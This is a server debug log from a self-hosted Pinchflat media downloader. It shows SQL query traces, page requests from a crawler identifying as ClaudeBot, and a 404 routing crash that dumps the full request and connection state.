s1."max_duration_seconds"))))) [39] 18:15:19.865 [debug] QUERY OK source="media_items" db=0.4ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [39, 10, 0] 18:15:19.865 [info] Sent 200 in 21ms 18:15:19.935 [info] GET /sources/2/force_metadata_refresh 18:15:19.935 [debug] QUERY OK source="settings" db=0.0ms idle=71.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.935 [debug] QUERY OK source="settings" db=0.0ms idle=71.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:19.935 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:15:19.935 [error] #PID<0.23681.0> running PinchflatWeb.Endpoint (connection #PID<0.23680.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23681.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI82QM8VM0O8wAAd-j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUHA4OGNqWXAwZndpaEFrWXBrSmc4UGdP.hfntDsDMhIQ2FYR8EO-ScuMw0A2gmIZPX5NMjT7EjqU" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23681.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, (truncated) 18:15:20.026 [info] GET /sources/2/edit 18:15:20.026 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:15:20.026 [debug] QUERY OK source="sources" db=0.0ms idle=162.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:15:20.026 [debug] QUERY OK source="media_profiles" db=0.1ms idle=161.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:20.027 [debug] QUERY OK source="settings" db=0.0ms idle=101.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.027 [debug] QUERY OK source="settings" db=0.0ms idle=91.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.027 [debug] QUERY OK source="settings" db=0.0ms idle=91.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.028 [info] Sent 200 in 2ms 18:15:20.117 [info] GET /sources/39/edit 18:15:20.117 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "39"} Pipelines: [:browser] 18:15:20.118 [debug] QUERY OK source="sources" db=0.0ms idle=91.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:15:20.118 [debug] QUERY OK source="media_profiles" db=0.0ms idle=91.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:15:20.118 [debug] QUERY OK source="settings" db=0.0ms idle=91.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.118 [debug] QUERY OK source="settings" db=0.0ms idle=91.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.118 [debug] QUERY OK source="settings" db=0.0ms idle=91.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:15:20.119 [info] Sent 200 in 1ms 18:15:30.386 [info] {"source":"oban","duration":7920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}